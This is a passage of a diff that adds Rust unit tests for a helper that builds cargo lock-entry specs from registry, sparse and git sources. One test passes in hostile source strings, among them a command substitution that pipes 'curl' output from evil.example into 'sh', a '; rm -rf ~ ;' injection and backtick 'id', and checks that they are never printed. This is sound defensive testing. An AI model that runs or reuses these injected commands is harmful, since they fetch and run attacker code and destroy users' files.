!u.detail.contains("stale"), + "{}", + u.detail + ); + + // A sparse index: its own table, and not the git index's. + let sparse = "sparse+https://my-corp.example/index/"; + let out = run(&vendored_workspace( + "cfg-if = \"1\"", + &wired_under("\"sparse+https://my-corp.example/index/\""), + &[("1.0.4", sparse)], + )) + .await; + stale( + &bypassed_mark(&out, "Cargo.lock").detail, + "\"sparse+https://my-corp.example/index/\"", + "sparse+https://my-corp.example/index/#cfg-if@1.0.4", + ); + let out = run(&vendored_workspace( + "cfg-if = \"1\"", + &wired_under("\"https://my-corp.example/index\""), + &[("1.0.4", sparse)], + )) + .await; + let u = bypassed_mark(&out, "Cargo.lock"); + assert!( + u.detail.contains("cargo tree -i") && !u.detail.contains("stale"), + "{}", + u.detail + ); + } + + /// The spec a remedy prints names one lock entry: the source without + /// its kind, and a git entry's without its reference and commit. + #[test] + fn a_lock_entry_spec_carries_the_source_cargo_compares() { + for (source, spec) in [ + ( + CRATES_IO, + "https://github.com/rust-lang/crates.io-index#cfg-if@1.0.4", + ), + (MY_CORP, "https://my-corp.example/index#cfg-if@1.0.4"), + ( + "sparse+https://my-corp.example/index/", + "sparse+https://my-corp.example/index/#cfg-if@1.0.4", + ), + ( + "git+https://github.com/corp/fork?branch=main#0123456789abcdef", + "https://github.com/corp/fork#cfg-if@1.0.4", + ), + ( + "git+https://github.com/corp/fork#0123456789abcdef", + "https://github.com/corp/fork#cfg-if@1.0.4", + ), + ] { + assert_eq!( + super::lock_entry_spec(source, "cfg-if", "1.0.4"), + format!("\"{spec}\"") + ); + } + // A source a shell would read into is not printed: the bare name + // makes cargo list the specs it accepts. + for source in [ + "git+https://github.com/corp/fork$(curl${IFS}evil.example|sh)#0123456789abcdef", + "registry+https://my-corp.example/index\" ; rm -rf ~ ; \"", + "registry+https://my-corp.example/`id`", + "registry+https://my-corp.example/index name", + "registry+https://my-corp.example/!!", + "registry+https://my-corp.example/\\index", + "registry+", + ] { + assert_eq!( + super::lock_entry_spec(source, "cfg-if", "1.0.4"), + "cfg-if", + "{source}" + ); + } + assert_eq!( + super::lock_entry_spec(CRATES_IO, "cfg_if-2", "1.0.4-rc.1+build.5"), + "\"https://github.com/rust-lang/crates.io-index#cfg_if-2@1.0.4-rc.1+build.5\"" + ); + for (name, version) in [("cfg-if$(id)", "1.0.4"), ("cfg-if", "1.0.4`id`"), ("", "1")] { + assert_eq!(super::lock_entry_spec(CRATES_IO, name, version), ""); + } + } + /// Git URLs compare as cargo's `CanonicalUrl` spells them — a GitHub URL /// case-insensitively, any host's case aside, one trailing `/` and `.git` /// dropped — so another path on a non-GitHub host is another repository.